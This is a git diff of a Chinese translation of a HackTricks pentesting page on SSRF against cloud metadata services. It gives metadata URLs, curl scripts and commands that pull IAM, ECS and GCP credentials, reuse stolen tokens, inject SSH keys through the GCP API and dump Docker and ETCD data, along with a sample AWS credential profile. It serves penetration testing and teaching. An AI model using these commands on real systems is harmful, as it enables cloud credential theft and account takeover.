mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.
This commit is contained in:
parent
de3ceecba8
commit
e79407e8ca
1 changed files with 65 additions and 41 deletions
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
|
@ -31,7 +31,7 @@
|
|||
有**2个版本**的元数据端点。**第一个**版本允许通过**GET**请求访问端点(因此任何**SSRF都可以利用它**)。对于**版本2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**,然后使用该令牌通过另一个HTTP头访问元数据(因此使用SSRF**更加复杂**)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,如果EC2实例正在强制执行IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT请求的响应**将具有**1个跳数限制**,这将使得无法从EC2实例内部的容器中访问EC2元数据。
|
||||
请注意,如果EC2实例正在强制执行IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT请求的响应**将具有**1个跳数限制**,这将使得无法从EC2实例内部的容器访问EC2元数据。
|
||||
|
||||
此外,**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
|
||||
{% endhint %}
|
||||
|
@ -96,11 +96,11 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
作为公开可用的IAM凭证暴露示例,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
作为公开可用的IAM凭证暴露的示例,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
您还可以在以下位置检查公开的EC2安全凭证:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
然后,您可以使用AWS CLI使用这些凭证。这将允许您执行该角色具有权限执行的**任何操作**。
|
||||
然后,您可以使用这些凭证与AWS CLI。这将允许您执行该角色具有权限执行的任何操作。
|
||||
|
||||
要利用新凭证,您需要创建一个新的AWS配置文件,如下所示:
|
||||
```
|
||||
|
@ -109,16 +109,16 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
|||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
注意**aws\_session\_token**,这对配置文件的工作至关重要。
|
||||
注意**aws\_session\_token**,这对配置文件的工作是必不可少的。
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用,以查找您的权限并尝试提升权限
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用,以查明您的权限并尝试提升权限
|
||||
|
||||
### AWS ECS(容器服务)凭据中的SSRF
|
||||
|
||||
**ECS**是一组逻辑EC2实例,您可以在其中运行应用程序,而无需扩展自己的集群管理基础设施,因为ECS会为您管理。如果您成功地 compromise 了在**ECS**中运行的服务,则**元数据端点会更改**。
|
||||
**ECS**是一组逻辑EC2实例,您可以在其中运行应用程序,而无需扩展自己的集群管理基础设施,因为ECS会为您管理。如果您成功地妥协了在**ECS**中运行的服务,则**元数据端点会发生变化**。
|
||||
|
||||
如果您访问_**http://169.254.170.2/v2/credentials/\<GUID>**_,您将找到ECS机器的凭据。但首先,您需要**找到\<GUID>**。要找到\<GUID>,您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
|
||||
您可以利用**Path Traversal**来读取`file:///proc/self/environ`\
|
||||
您可以利用**路径遍历**到`file:///proc/self/environ`来读取它。\
|
||||
上述的http地址应该提供给您**AccessKey、SecretKey和token**。
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
|
@ -137,10 +137,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
- `AWS_SECRET_ACCESS_KEY`
|
||||
- `AWS_ACCES_KEY_ID`
|
||||
|
||||
此外,除了IAM凭据,Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并且可能包含**敏感信息**(例如**stageVariables**中的信息)。与IAM凭据不同,此数据可通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
|
||||
此外,除了IAM凭据,Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并且可能包含**敏感信息**(例如**stageVariables**中的信息)。与IAM凭据不同,此数据可以通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,**lambda凭据**位于**环境变量**中。因此,如果lambda代码的**堆栈跟踪**打印环境变量,可能会通过在应用程序中**引发错误**来**外泄**它们。
|
||||
请注意,**Lambda凭据**位于**环境变量**中。因此,如果Lambda代码的**堆栈跟踪**打印环境变量,可能会通过在应用程序中**引发错误**来**泄露**它们。
|
||||
{% endhint %}
|
||||
|
||||
### 用于AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -156,7 +156,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||
```
|
||||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||
|
||||
然后我们使用这些凭据执行 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。
|
||||
然后我们使用这些凭据与 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。
|
||||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
|
@ -164,7 +164,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||
|
||||
### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
需要使用 HTTP 头部 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
|
||||
需要 HTTP 标头 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
|
@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
|||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
为了**使用外泄的服务账户令牌**,你可以执行以下操作:
|
||||
为了**使用外泄的服务账户令牌**,您只需执行以下操作:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
@ -275,7 +275,7 @@ gcloud config unset auth/access_token_file
|
|||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
检查令牌的范围(使用先前的输出或运行以下命令)
|
||||
检查令牌的范围(使用先前的输出或运行以下内容)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
|
@ -294,9 +294,9 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
-H "Content-Type: application/json"
|
||||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||||
```
|
||||
## 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
### 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
元数据端点的工作方式与虚拟机中的相同,但没有一些端点:
|
||||
元数据端点的工作方式与虚拟机中相同,但没有一些端点:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -324,10 +324,10 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
没有AWS角色或GCP服务账户之类的东西,所以不要期望找到元数据机器凭证
|
||||
没有像 AWS 角色或 GCP 服务账户那样的东西,所以不要期望找到元数据机器凭证
|
||||
{% endhint %}
|
||||
|
||||
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到
|
||||
```
|
||||
curl http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1.json
|
||||
|
@ -341,7 +341,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行积极的威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -479,7 +479,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM 云 <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,在 IBM 中,默认情况下未启用元数据,因此即使您在 IBM 云虚拟机内部,也可能无法访问元数据。
|
||||
请注意,在 IBM 中,默认情况下未启用元数据,因此即使您在 IBM 云虚拟机内部,也可能无法访问它。
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -506,58 +506,82 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
|||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
各平台的元数据服务文档如下,突出了可以访问实例配置和运行时信息的方法。每个平台都提供独特的端点来访问其元数据服务。
|
||||
|
||||
## Packetcloud
|
||||
|
||||
要访问Packetcloud的元数据,请查看文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
要访问Packetcloud的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
没有提到需要头部信息。可以通过以下方式访问元数据:
|
||||
|
||||
- `http://169.254.169.254/openstack`
|
||||
* `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
这里也没有提到需要头部信息。可以在以下位置访问元数据:
|
||||
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloud提供一系列端点来访问各种元数据方面:
|
||||
|
||||
- `http://192.0.0.192/latest/`
|
||||
- `http://192.0.0.192/latest/user-data/`
|
||||
- `http://192.0.0.192/latest/meta-data/`
|
||||
- `http://192.0.0.192/latest/attributes/`
|
||||
* `http://192.0.0.192/latest/`
|
||||
* `http://192.0.0.192/latest/user-data/`
|
||||
* `http://192.0.0.192/latest/meta-data/`
|
||||
* `http://192.0.0.192/latest/attributes/`
|
||||
|
||||
## Alibaba
|
||||
|
||||
阿里巴巴提供用于访问元数据的端点,包括实例和镜像ID:
|
||||
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
- `http://100.100.100.200/latest/meta-data/image-id`
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
* `http://100.100.100.200/latest/meta-data/image-id`
|
||||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方式如下:
|
||||
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方法如下:
|
||||
|
||||
- `curl -L http://127.0.0.1:2379/version`
|
||||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
可以在本地访问Docker元数据,示例显示了如何检索容器和镜像信息:
|
||||
可以在本地访问Docker元数据,提供了有关容器和镜像信息检索的示例:
|
||||
|
||||
- 通过Docker套接字访问容器和镜像元数据的简单示例:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- 在容器内,使用Docker套接字和curl:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
* 通过Docker套接字访问容器和镜像元数据的简单示例:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* 在容器内部,使用带有Docker套接字的curl:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
## Rancher
|
||||
|
||||
可以使用以下方式访问Rancher的元数据:
|
||||
|
||||
- `curl http://rancher-metadata/<version>/<path>`
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家NFT的收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue